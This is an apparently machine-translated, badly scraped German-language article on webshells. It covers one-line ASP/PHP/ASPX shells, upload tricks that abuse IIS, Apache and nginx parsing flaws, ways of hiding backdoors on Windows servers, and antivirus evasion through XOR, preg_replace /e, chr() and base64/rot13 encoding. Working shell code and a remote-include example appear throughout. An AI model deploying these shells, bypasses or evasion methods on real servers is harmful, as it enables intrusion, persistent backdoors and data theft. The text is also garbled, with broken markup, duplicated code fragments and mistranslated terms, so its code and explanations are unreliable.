Webshell-Implementierung und versteckte Forschung

WBOY
Freigeben: 2016-08-08 09:21:22
Original
2413 Leute haben es durchsucht

1. Was ist Webshell? Webshell, ein Skriptsprachenprogramm, ist ein Verwaltungstool des Webs, das die Berechtigung hat, den Webserver zu betreiben, auch Webadmin genannt. Webshell wird im Allgemeinen von Website-Administratoren für die Website-Verwaltung, Serververwaltung usw. verwendet. Da Webshell jedoch relativ leistungsstark ist, kann es Dateien hoch- und herunterladen, Datenbanken anzeigen und sogar einige systembezogene Befehle auf dem Server aufrufen (z. B. Benutzer erstellen). , Dateien ändern oder löschen usw.), die normalerweise von Hackern verwendet werden, verwenden einige Upload-Methoden, um die von ihnen geschriebene Webshell in das Verzeichnis der Webserverseite hochzuladen und dann über den Seitenzugriff einzudringen oder durch Einfügen eine Verbindung zum lokalen Computer herzustellen ein Satz Einige verwandte Tools führen direkt Eindringungsvorgänge auf dem Server durch.

  1. Klassifizierung von Webshell

Webshell kann in PHP-Skripttrojaner, ASP-Skripttrojaner und .NET-basierte Skripttrojaner sowie JSP-Skripttrojaner auf Skriptbasis unterteilt werden. Im Ausland gibt es auch dynamische Webseiten, die in der Python-Skriptsprache geschrieben sind, und natürlich gibt es auch damit verbundene Webshells.

    Je nach Funktion wird es auch in „großes Pferd“ und „kleines Pferd“ unterteilt. Der Begriff „Kleines Pferd“ bezieht sich beispielsweise normalerweise auf einen Satz: <%eval request("pass")%> Satz in ein Dokument umwandeln und dann den Dateinamen in xx.asp ändern. Senden Sie es dann an den Server. Hier wandelt die Eval-Methode die Anforderung („pass“) in Codeausführung um. Die Funktion der Anforderungsfunktion besteht darin, externe Dateien anzuwenden. Dies entspricht der Client-Konfiguration eines Ein-Satz-Trojaners. Serverkonfiguration (d. h. lokale Konfiguration):
Standard



1

2action
3

4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<

form
=

http

: //Host path/TEXT.asp method=post>< Textbereich Name=

Wert

Spalten=120Zeilen=10Breite =45> set lP=server.

createObject ("Adodb.Stream")//Erstellen Sie ein Stream-ObjektlP.Offen

//Offen

lP.Typ=

2

//Im Textmodus lP.CharSet=

"gb2312"

//SchriftartstandardlP.writetext request

(

"newvalue")

lP.SaveToFile server.mappath("newmm.asp"), 2//Schreiben Sie den Trojaner-Inhalt in newmm.asp, indem Sie die Datei überschreiben. 2 ist die überschriebene Methode

lP.Schließen//Schließen Sie das Objekt

set lP=nothing//Release object

Antwort.weiterleiten"newmm.asp"//weiterleiten zu newmm .asp

</textarea>

<textarea name=newvalue cols=120Zeilen=10Breite=45> (Fügen Sie den Inhalt hinzu, um den Trojaner zu generieren)

</textarea>

<BR>

<Mitte>

< br>

<Eingabe Typ=Submit Wert = Senden>

Hier wird der Trojaner durch Absenden des Formulars übermittelt. Die spezifische Methode besteht darin, eine Objekt-IP zu definieren und dann den Inhalt in Newvalue in Textform zu schreiben (der Inhalt von Newvalue befindet sich im Textbereich). Definition), schreiben Sie, um durch Überschreiben eine ASP-Datei zu generieren, und führen Sie dann dieses Skript aus. Der Wert im Client stellt den Namen des Formulars dar, der mit dem Formularnamen in der Post-Übermittlung des Servers (lokaler Computer) identisch sein muss. Daher kann der Wert hier ein beliebiges Zeichen sein, das einem Passwort oder ähnlichem entspricht , aber das „Passwort“ ist im Klartext und kann abgefangen werden. Das Ein-Satz-Prinzip von PHP ähnelt dem oben genannten Prinzip, das heißt, der Unterschied in der Sprache führt zu einer unterschiedlichen Syntax. So funktionieren Ponys im Grunde.

Malaysias Arbeitsmodell ist viel einfacher. Es gibt keinen Unterschied zwischen dem Client und dem Server. Einige Skriptexperten haben die Sicherheitslücke direkt nach Malaysia hochgeladen. Kopieren Sie dann die malaysische URL-Adresse und greifen Sie direkt darauf zu, um Penetrationsarbeiten auf dem Webserver auf der Seite durchzuführen. Da Da Ma jedoch über viele Funktionen verfügt, ist die Größe relativ groß und kann das Upload-Limit der Website überschreiten. Die Größe von Da Ma kann jedoch gesteuert werden (z. B. Kopieren). Code mehrmals oder fügen Sie den Code in eine verstümmelte Datei ein, aber Xiaomas Vorgang ist umständlicher. Sie können zuerst Xiaoma hochladen, um die Webshell zu erhalten, und dann Xiaoma hochladen, um den Server über Xiaomas Verbindung zu erhalten.

2. So laden Sie eine Webshell hoch

1. Analyse der Schwachstellen-Upload

Jetzt gibt es verschiedene Webserver-Programme für verschiedene Webserver-Systeme, Windows-Seite ist iis, und der Mainstream unter Linux ist nginx. Diese Dienste stellen eine große Hilfe beim Aufbau von Webservern dar, bringen jedoch auch versteckte Gefahren für den Server mit sich. Diese Server weisen einige Schwachstellen auf, die von Hackern leicht ausgenutzt werden können.

(1)iis-Verzeichnis-Parsing-Schwachstelle

Zum Beispiel: /xx.asp/xx.jpg
Obwohl die hochgeladene JPG-Datei, wenn die Datei in xx.asp ist Ordner, dass iis die Bilddatei als xx.asp analysiert. Diese Sicherheitslücke besteht in der Version iis5.x/6.0.

(2) Sicherheitslücke beim Parsen von Dateien

Zum Beispiel: xx.asp;.jpg. Beim Hochladen der Webseite wird die JPG-Datei erkannt, aber nach dem Hochladen wird sie von iis nicht analysiert. Nachfolgende Zeichen analysieren die Datei ebenfalls in eine ASP-Datei. Diese Sicherheitslücke besteht in den Versionen iis5.x/6.0.

(3) Dateinamenanalyse
Zum Beispiel: xx.cer/xx.cdx/xx.asa. Unter iis6.0 werden CER-Dateien, CDX-Dateien und ASA-Dateien als ausführbare Dateien behandelt und der darin enthaltene ASP-Code wird ebenfalls ausgeführt. (Die ASA-Datei ist eine ASP-spezifische Konfigurationsdatei und CER ist die Zertifikatsdatei).

(4) Schwachstelle beim Fast-CGI-Parsing

Laden Sie das Bild xx.jpg hoch, wenn Fast-CGI auf dem Webserver aktiviert ist. Der Inhalt ist:

Default

1

fputs(fopen('shell.php','w'),'eval($_POST[shell])?>');?>

1 < ;?phpfputs(fopen('shell.php','w'),' <🎜>eval<🎜>(<🎜>$_POST<🎜>[<🎜>shell<🎜>]<🎜>)<🎜>?>') ;?> tr >

Der hier verwendete Fput erstellt eine Shell.php-Datei und schreibt einen Satz. Durch den Zugriff auf den Pfad xx.jpg/.php wird in diesem Pfad ein Trojaner mit einem Satz „shell.php“ generiert. Diese Sicherheitslücke besteht in IIS 7.0/7.5 und Nginx-Versionen unter 8.03. Gebietsschema: PHP, Prel, Bourne Shell, C und andere Sprachen.

*Hinweis: Fast-CGI ist eine aktualisierte Version von CGI und bezieht sich auf eine Schnittstelle, die eine Mensch-Computer-Interaktion auf dem Server ermöglicht. Da CGI bei jeder Ausführung einen Prozess mit einem Fork starten muss, wird Fast-CGI jedoch immer nach der Aktivierung ausgeführt und es ist nicht erforderlich, für jede Anforderung einen Prozess zu forken. Es benötigt weniger Speicher als gewöhnliches CGI.

(5) Apache-Parsing-Schwachstelle
Die Art und Weise, wie Apache analysiert, erfolgt von rechts nach links. Wenn die Analyse nicht erfolgreich ist, möchte sie eine nach links verschieben, aber das Hochladen im Hintergrund hängt normalerweise davon ab Das Suffix ganz rechts, daher kann das Pferd xx.php.rar genannt werden, da Apache es nicht als PHP analysieren kann, aber der Hintergrund-Upload-Punkt analysiert es als RAR und umgeht es somit. Einschränkungen beim Hochladen von Dateisuffixen

2. Hochladen abschneiden

Benennen Sie beim Hochladen von Bildern beispielsweise 1.asp .jpg (nach asp steht ein Leerzeichen). Verwenden Sie beim Hochladen NC oder burpsuite Grab das Formular und fügen Sie asp nach dem Upload-Namen hinzu

c:>kopieren3.asp .C:aux.asp

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.png

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image022.jpg
Erstellen Sie eine aux.asp im Laufwerk C. Diese Datei kann in der grafischen Oberfläche nicht gelöscht werden.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png
Zum Löschen müssen Sie den Befehl del verwenden.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png
Es gibt keine Aufforderung nach dem Löschen, aber die Datei ist tatsächlich verschwunden.
Natürlich kann mit dieser Methode eine Webshell erstellt werden, die nicht über die grafische Oberfläche gelöscht werden kann. Wenn sie jedoch direkt im Stammverzeichnis der Webseite abgelegt wird, wird sie von einem erfahrenen Netzwerkadministrator trotzdem gelöscht sieht es.

②clsid versteckt

Jedes Programm in Windows hat eine clsid. Wenn Sie einen Ordner x.{program clsid} nennen, geben Sie die folgenden zwei Befehle ein:
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image026.jpg
Nach der Erstellung
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png

Klicken Sie, um das Kontrollfeld aufzurufen, aber tatsächlich ist die Datei immer noch ein Ordner, und Malaysia kann auch einen solchen Ordner mit einer clsid erstellen und ihn als das entsprechende Programm bezeichnen Geben Sie als Netzwerkadministrator beispielsweise den Papierkorbordner ein, um einen Ordner mit der Papierkorb-CLSID zu erstellen, und kopieren Sie ein reserviertes Wort „asp“ hinein. Sie können auch

Standard verwenden

1

attrib h s r d/s/d

1

attrib
h
s

r

d

/

/

d

1

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png

Ändern Sie die Eigenschaften der Datei und verbergen Sie sie standardmäßig nicht Dateien werden angezeigt und der Papierkorbordner wird automatisch erstellt, sodass eine unsterbliche Webshell auf dem Server ausgeblendet werden kann. ③Technologie zum Ausblenden von Treibern Das Prinzip besteht darin, dass das System im Windows-Dateisystem beim Öffnen eines Ordners eine IRP_MJ_DIRECTORY_CONTROL-Funktion sendet. Diese Funktion kann einen Puffer zuweisen und die Informationen Durch das Durchlaufen der Unterordner wird der Ordner im Puffer gespeichert. Wenn die Dateinamen übereinstimmen, wird der aktuelle Ordner oder die aktuelle Datei umgangen. Ich habe den Code überprüft. Nach meinem Verständnis wird beim Abfragen der Zieldatei der Offset der Datei basierend auf dem durchlaufenen Zeiger hinzugefügt. Der Zielordner wird nicht gescannt, sondern direkt übersprungen. Was die Implementierung dieser Technologie betrifft, so ist sie aufgrund der Unterstützung von Header-Dateien und der Systemunterstützung (die Dateisysteme verschiedener Systeme werden unterschiedlich sein) schwierig zu bedienen, obwohl es im Internet viele C-Quellcodes gibt. . Ich habe das Programm Easy File Locker online gefunden und muss es auf dem Webserver installieren und Berechtigungen für die Zieldatei festlegen. Standardfile:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
1Datei:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
Zu den Berechtigungseinstellungen gehören „lesbar“, „schreibbar“, „löschbar“ und „sichtbar“.

Standard

1

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg

1 td>

file
:
///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg

Wie Sie im obigen Bild sehen können, haben wir es ausgeblendet. Wie bereits erwähnt, wird der absolute Pfad direkt umgangen Zugegriffen werden kann. Mein Verständnis ist:

1
2
3
4

c:WINDOWSxlkfs.dat

c:WINDOWSxlkfs.dll

c:WINDOWSxlkfs.ini

c:WINDOWSsystem32driversxlkfs.sys


Standard

c:WINDOWSxlkfs.dat c:WINDOWSxlkfs.dll c:WINDOWSxlkfs.ini c:WINDOWSsystem32driversxlkfs.sys
tbody>
1
2
3

4

c
:
WINDOWS
xlkfs

.

dat

:

WINDOWS

1

include($include);?>

xlkfs.dllc:WINDOWSxlkfs.inic:WINDOWSsystem32Treiberxlkfs.sys
Diese 4 Dateien ersetzen die Traversal-Abfrage, indem der absolute Pfad nicht eingegeben wird, sondern die Abfrage über die oben genannten 4 Dateien erfolgt Dies entspricht der Erstellung eines separaten Treibers für versteckte Dateien. Um nicht vom Administrator entdeckt zu werden, können Sie das Easy FileLocker-Programm löschen, aber Sie können die oben genannten 4 Dateien nicht löschen. Nachdem Sie das Programm gelöscht haben, können Sie weiterhin darauf zugreifen, indem Sie den absoluten Pfad eingeben, wodurch die Funktion des Ausblendens der Hintertür erreicht wird④Registrierung ausblendenRegistrierungspfad: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALL In diesem Pfad befindet sich ein CheckedValue-Schlüssel. Ändern Sie ihn in 0. Wenn kein CheckValue-Schlüssel vorhanden ist, erstellen Sie direkt einen und weisen Sie ihm den Wert 0 zu. Dann wird die erstellte versteckte Datei vollständig ausgeblendet, auch in Auch die nächste Option „Alle Dateien anzeigen“ kann nicht angezeigt werden. (2) Ein-Satz-Trojaner versteckt ①Header-Datei-Inklusion verstecktIn einigen Skriptdateien im Web haben einige Dateien Include-Anweisungen, Sie können diese verwenden. Dieses Include Die Methode enthält eine Satzdatei und diese Sätze werden beim Zugriff auf diese Seite direkt aufgerufen. asp include-Anweisung: , geben Sie den Pfad direkt ein, und der Dateipfad ist der Pfad auf dem Webserver. Sie können Webmaster Stop verwenden, um einen Satz von NTFS-Stream-Pony in das Bild zu schreiben. Nachdem Sie das „“ in „:“ im Pfad geschrieben haben, wird das Bild nicht angezeigt und dann gefunden Gehen Sie zu einer ASP-Datei auf dem Webserver und schreiben Sie eine Include-Anweisung am Anfang der Datei, <🎜><🎜>php enthält die Anweisung: <🎜><🎜><🎜><🎜><🎜><🎜>Default<🎜><🎜><🎜><🎜><🎜><🎜 >
1
<🎜>include<🎜>(<🎜> $ include<🎜>)<🎜>;<🎜>?>

$include kann hier ein externer Pfad sein, wie zum Beispiel:

http://www.aaa.com/1.php?Include=http://www . bbb.com/hehe.php

Der Inhalt von 1.php auf dieser AAA ist

Standard

1

include($include);?>

1
<🎜>include<🎜>(<🎜>$include<🎜>)<🎜>;<🎜>?>

bedeutet Inklusion. bbb ist ein externer Server, sofern dieser Server PHP nicht unterstützen kann. Andernfalls wird hehe.php (dh ein Satzpferd) auf dem BBB-Server ausgeführt, aaa jedoch nicht.

②Versteckter Satz der Konfigurationsdatei (PHP)

Nachdem Sie die PHP-Webshell erhalten haben, können Sie php.ini verwenden, um Dateien auszublenden und Konfigurationsdateien zu bearbeiten Inhalt einer bestimmten Datei in die Kopf- und Fußzeile einer beliebigen Schnittstelle einfügen:
auto_prepend_file =hehe.php
Dann schauen Sie sich
include_path an = „E:PHPnow-1.5.6htdocs;“
Diese Konfigurationsinformationen geben den Speicherort der Sammlung zum Laden der Kopf- und Fußzeile an. Die Pfadregel ist „path1;path2“, was bedeutet, dass Der Ordner im Pfad 1 wird die Kopf- und Fußzeilendateien zu den Dateien im Pfad hinzufügen, da hier ein „.“ den Stammpfad angibt, was dem Hinzufügen zur Homepage entspricht, und dann einen Satz in das Hehe schreiben .asp-Datei, und das ist es. Fügen Sie die Header-Funktion über PHP hinzu und schreiben Sie einen Satz auf der Homepage der Website.

③404 Pony

404 Pony zeigt beim Zugriff eine 404-Seite an, die tatsächlich nicht vorhanden ist. Im Allgemeinen können Sie den Trojaner-Code fünfmal drücken, um ihn zu entfernen es raus.

4. Ein Satz über Webshell-Antivirus und Antivirus

1. Konstruktionsmethode zur Umgehung der Erkennung (PHP)

Allgemeine Erkennungsprogramme filtern „_POST“. Für Zeichen wie „system“ und „call_user_func_array“ können Sie derzeit einige Erkennungsprogramme verwenden. Das Grundprinzip besteht darin, dass jedes Zeichen in PHP einem Binärwert entspricht XOR-Wert von zwei Zeichen.
Sieht zum Beispiel wie der Code aus

Standard

1
2
3
4
5
6
7
8

@$_ ; // 这里 让’_’自加1

$__=("#"^"|"); // _

$__=("."^"~"); // P

$__=("/"^"`"); // O

$__=("|"^"/"); // S

$__=("{"^"/"); // T

?>

1
2
3
4
5
6
7
8
<🎜><🎜><🎜>@<🎜>$_<🎜> <🎜>;<🎜>                                                              ><🎜>< 🎜><🎜><🎜><🎜><🎜>$__ <🎜>=<🎜>(<🎜>"#"<🎜>^<🎜>"|"<🎜>)< 🎜>;<🎜> <🎜>// _<🎜><🎜><🎜> <🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜 >$__<🎜>=<🎜>(<🎜>"."<🎜>^ <🎜>"~"<🎜>)<🎜>;<🎜>                                                     <🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜> $__<🎜>=<🎜>(<🎜>"/"<. 🎜>^<🎜>"`"<🎜>)<🎜>;<🎜>                                          <🎜><🎜><🎜 ><🎜>< 🎜>$__<🎜>=<🎜>(<🎜>"|"<🎜>^<🎜>"/"<🎜>)<🎜>;<. 🎜>                                                                         🎜>=<🎜>(<🎜>" {"<🎜>^<🎜>"/"<🎜>)<🎜>;<🎜>                                                      🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜>< 🎜>?>

Dann können die Struktur und ein Satz als

Standard geschrieben werden

1
2
3

@$_ ;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST

@${$__}[!$_](${$__}[$_]);?>

1
2
3

@

$_
;

$__

=

(

"#""|"

)

.

1

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")

(

"."

^

"~"

)

.

(

" /"
^

"`"
)
.
(

"|"^"/").

(

"{"

^)

;

 

1

2

3

4

functionfunfunc($str){}

echopreg_replace("/(. ?)/ies",'funfunc("1")',$_POST["cmd"]);

?>

// Der Wert von $__ ist _POST @${$__}[!$_](${ $__}[$_]);?>
// Das Ergebnis ist @ $_POST[0]($POST[1])!$_ stellt das Gegenteil von 1 dar. In der Sprache steht 1 für wahr und das Gegenteil ist 0 (falsch) Aber diese Bypass-Methode ist ziemlich schwach, auch wenn es sich um das XOR des Binärwerts zweier Zeichen handelt, wenn wir ein bestimmtes Zeichen verwenden möchten, wenden wir dennoch den Wert dieses Zeichens an Zeichen, wie zum Beispiel Default$__=("#"^"|").(" ."^"~").("/" ^"`").("|"^"/").("{"^"/") Der Binärwert von tbody>
1
$__=("#"^"|").(" ."^"~" ).("/"^"`").("|"^ "/").("{"^"/")
ist derselbe wie der Wert des _POST-Zeichens, wenn das Erkennungsprogramm den Wert von erkennt Der Binärcode wird trotzdem getötet. 2. Methode zum Ersetzen regulärer Ausdrücke (PHP) In PHP gibt es eine Funktion preg_replace(), die das Ersetzen regulärer Ausdrücke realisieren kann. Die Verwendung der Substitution zur Umgehung des Erkennungssystems erfordert auch eine Funktionsfunktion in der PHP-Skriptsprache. Wenn die Funktion aufgerufen wird und der dem formalen Parameter in der Funktion zugewiesene Wert einen Befehl enthält, wird der Befehl ausgeführt. Standard(. ?)/ies",'funfunc("1")', $_POST["cmd"]); ?>
1
2
3
4
<🎜><🎜><🎜>function<🎜><🎜>funfunc< 🎜>(<🎜>$str<🎜>)<🎜>{<🎜>}<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜> <🎜>echopreg_replace<🎜>(<🎜>"/(. ?)/ies",'funfunc("1")',$_POST["cmd"]);?>

Der obige Code ist ein Ersetzungsprozess. Erstellen Sie zunächst eine leere Funktion und verwenden Sie dann die Funktion preg_replace, um </title> zu ersetzen ; in der Form cmd. (Hier ist das Thema in HTML) Schreiben Sie den Wert in das Beitragsformular als <blockquote><div align="left"><title>{${phpinfo()}}</title> ;</p></blockquote> <div align="left"> (natürlich kann phpinfo() hier durch andere Befehle ersetzt werden), durch Ersetzen wird es zu </p><blockquote><div align="left">funfunc({${phpinfo()} })</p></blockquote><div align="left">Da ${} den Inhalt in {} analysieren kann, kann die PHP-Info hier reibungslos ausgeführt werden. </p><p>3. Methode zur sofortigen Generierung (PHP) </p><div align="left">Bei Verwendung der Header-Datei-Einbindung wird die enthaltene Header-Datei PHP einfach vom Scanner gescannt. Zu diesem Zeitpunkt können Sie file_put_content verwenden, um eine Datei zu erstellen . Darin ist ein Satz wie PHP geschrieben. Generieren Sie das Pferd, bevor Sie darauf zugreifen. Diese Funktion ist jedoch relativ empfindlich und kann leicht getötet werden. </p><p>4. Vermeidungsmethode (ASP) </p><div align="left">Da einige ASP-Server <%,%> filtern, um einen Satz Kauderwelsch zu verhindern, können Sie Folgendes verwenden: <div align="left"> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Standard</span></p> <p><textarea read data-settings="dblclick"><scriptlingual=VBScriptrunat=server>execute request("cmd")</Script></textarea> </p> <p></p> <table> <tbody><tr><td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41b4537101191-1">1</div> </td> <td> <p></p> <p><span><<span>scriptlanguage<span>=<span>VBScriptrunat<span>=<span>server<span>><span>execute <span>request<span>(<span>"cmd"<span>)<span><<span>/<span>Script<span>></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41b4537101191-1">1 <td><div align="left"><<div align="left">script language</p>=<div align="left">VBScriptrunat<div data-settings=" minimize scroll-mouseover">=<div data-settings=" show">server<p>><span title="含多种语言">execute <span> Anfrage </span>(</span>"cmd")<<p>/<textarea read data-settings="dblclick">Skript</textarea>><p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41ba878449212-1">1</div> </td> <td> <p></p> <p><span><script <span>language<span>=<span>"C#"<span><span>runat<span>=<span>"server"<span>><span>WebAdmin2Y<span>.<span>x<span>.<span>y<span><span>aaaaa<span><span>=<span><span>new<span><span>WebAdmin2Y<span>.<span>x<span>.<span>y<span>(<span>"add6bb58e139be10"<span>)<span>;<span></script></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> </div></td> </div> </td></tr></tbody> hat die gleiche Funktion, aber in einer anderen Form. Bestimmte Skriptsprache vermeiden: aspx ein SatzStandard<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script><table><tbody><tr> <td data-settings="show"><div data-line="crayon-559e92dfe41ba878449212-1">1</div></td> <td><script <🎜>Sprache<🎜>=<🎜>"C#"<🎜><🎜>runat<🎜>=<🎜>"server"<🎜>>WebAdmin2Y .x.yaaaaa=neuWebAdmin2Y.x.y("add6bb58e139be10");</script></td> </tr></tbody></table> <div align="left">这里使用C#语言写一句话马。<p>5.拆分法(asp)</p> <div align="left">将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。<div align="left">还有拆分法加强版:<div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span title="含多种语言"><span>Default</span></span></p> <p><textarea read data-settings="dblclick"><%IfRequest("MH")<>"" Then Execute(Request("MH"))%> <%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41ca643242287-1">1<div data-line="crayon-559e92dfe41ca643242287-2">2</div> </div> </td> <td> <p></p> <p><span><%<span>IfRequest<span>(<span>"MH"<span>)<span><><span>""<span><span>Then<span><span>Execute<span>(<span>Request<span>(<span>"MH"<span>)<span>)<span>%></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> <p><span><%<span>if<span><span>request<span>(<span>"MH"<span>)<span><><span>""<span>thensession<span>(<span>"MH"<span>)<span>=<span>request<span>(<span>"MH"<span>)<span>:<span>end<span><span>if<span>:<span>ifsession<span>(<span>"MH"<span>)<span><><span>""<span><span>then<span><span>executesession<span>(<span>"MH"<span>)<span>%></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div align="left">以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。<p>6.乱码变形(ANSI->Unicode加密)</p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span title="含多种语言"><span>Default</span></span></p> <p><textarea read data-settings="dblclick"><%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41d1811159800-1">1</div> </td> <td> <p></p> <p><span><%<span>eval<span><span>request<span>(<span>"#"<span>)<span>%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”</span></p> </td> </tr></tbody></table> <div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Default</span></p> <p><textarea read data-settings="dblclick">eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41d8590140859-1">1</div> </td> <td> <p></p> <p><span>eval<span>(<span>eval<span>(<span>chr<span>(<span>114<span>)<span>+<span>chr<span>(<span>101<span>)<span>+<span>chr<span>(<span>113<span>)<span>+<span>chr<span>(<span>117<span>)<span>+<span>chr<span>(<span>101<span>)<span>+<span>chr<span>(<span>115<span>)<span>+<span>chr<span>(<span>116<span>)<span>)<span>(<span>"brute"<span>)<span>)<span>%<span>&<span>gt<span>;</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div align="left">上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为<div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span title="含多种语言"><span>Default</span></span></p> <p><textarea read data-settings="dblclick"><%eval (eval(request("brute"))%></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41de679898723-1">1</div> </td> <td> <p></p> <p><span><%<span>eval<span><span>(<span>eval<span>(<span>request<span>(<span>"brute"<span>)<span>)<span>%></span></p> </td> </tr></tbody></table> <p>7. Malaysias Antivirenschutz </p> <p> (1) Base4code-Kodierung </p> <div align="left"> <p>Malaysias Antivirenschutz kann durch Konvertieren erhalten werden Malaysischer Code Komprimieren Sie, verwenden Sie nach der Komprimierung den Base4-Verschlüsselungsalgorithmus und fügen Sie am Ende </p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Default</span></p> <p><textarea read data-settings="dblclick"> hinzu Malaysia @eval(gzinflate(base64_decode($code)));</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41e4037351059-1">1</div> </td> <td> <p></p> <p><span>@<span>eval<span>(<span>gzinflate<span>(<span>base64_decode<span>(<span>$<span>code<span>)<span>)<span>)<span>;</span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41e4037351059-1">1</div> </td> <td>@eval(gzinflate(base64_decode($code)));</td> </tr></tbody></table> <div align="left"> kann das Skript ausführen. Unter anderem wird die Variable $code zum Speichern des Base4-Codes verwendet. Während der Ausführung wird er zunächst von gzinflate dekomprimiert und in eval ausgeführt. Tatsächlich kann dies nicht wirklich vor dem Abtöten geschützt werden. Base4code und eval sind weiterhin in der Feature-Code-Liste enthalten und werden auch beim Durchlaufen des Scanners abgetötet. <p> (2) ROT13-Kodierung (PHP) </p> <div align="left">str_rot13 ist eine Funktion, die von PHP zur Kodierung verwendet wird. Es kann beispielsweise zum Codieren von Skriptcode verwendet werden, um die Signaturerkennung zu umgehen. <blockquote><div align="left">file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png<div align="left">Die strrev-Funktion im Bild wird verwendet, um Zeichen umzukehren, um der Erkennung von Signaturen zu entgehen , Die Zeichen werden zusätzlich durch „.“-Symbole getrennt. <div align="left">Die von den drei str_rot13 im Bild verschlüsselten Zeichen sind gzinflate, str_rot13, base64_decode, was einer dreifachen Verschlüsselung entspricht und auch die beiden Funktionscodes gzinflate und base64_decode vermeidet. Aber an str_rot13 führt kein Weg vorbei. Es ist möglich, dass einige Antivirensoftware auch str_rot13 als Funktionscode verwendet. <div align="left">ROT13 wird zu Rotation 13, was bedeutet, dass der Positionswert des aktuellen Zeichens im Alphabet minus 13 verschlüsselt wird. Verschlüsseln Sie es zweimal und es wird auf seinen ursprünglichen Wert zurückgesetzt. Aufgrund des festen Algorithmus ist die Verschlüsselungsstärke jedoch nicht stark. Und die Methode zum Knacken ist äußerst einfach: Verschlüsseln Sie einfach eine Seite. <p> (3) Andere Codes </p> <div align="left"> Im Allgemeinen verwenden Antivirensoftware und Scanner Signaturcodes, um festzustellen, ob ein Virus vorliegt. Im Allgemeinen werden zum Verschlüsseln Verschlüsselungsfunktionen in PHP- oder ASP-Skripten verwendet und Bypass-Scanner (wie base4, rot13 usw.), aber ich denke, Sie können Ihren eigenen Verschlüsselungsalgorithmus schreiben und dann Ihren eigenen Verschlüsselungsalgorithmus verwenden, um den Skriptcode zu verschlüsseln, um ihn zu umgehen. Sie können einige Ideen von Verschlüsselungsmethoden wie Caesar-Verschlüsselung und Shift-Verschlüsselung verwenden, einen Verschlüsselungsalgorithmus schreiben und dann den Skriptcode verschlüsseln. Dann verschwinden Feature-Codes wie base4 und rot3, oder Sie können problemlos selbstgemachte Verschlüsselung verwenden. Der Algorithmus verschlüsselt die Signatur und entschlüsselt sie dann bei Verwendung. <div align="left">Sie können auch Schlüsselverschlüsselungsalgorithmen wie DES und RSA verwenden. Im Allgemeinen verfügt Malaysia über ein Kennwort-Anmeldefeld. Sie können das Kennwort des Anmeldeskripts mit dem 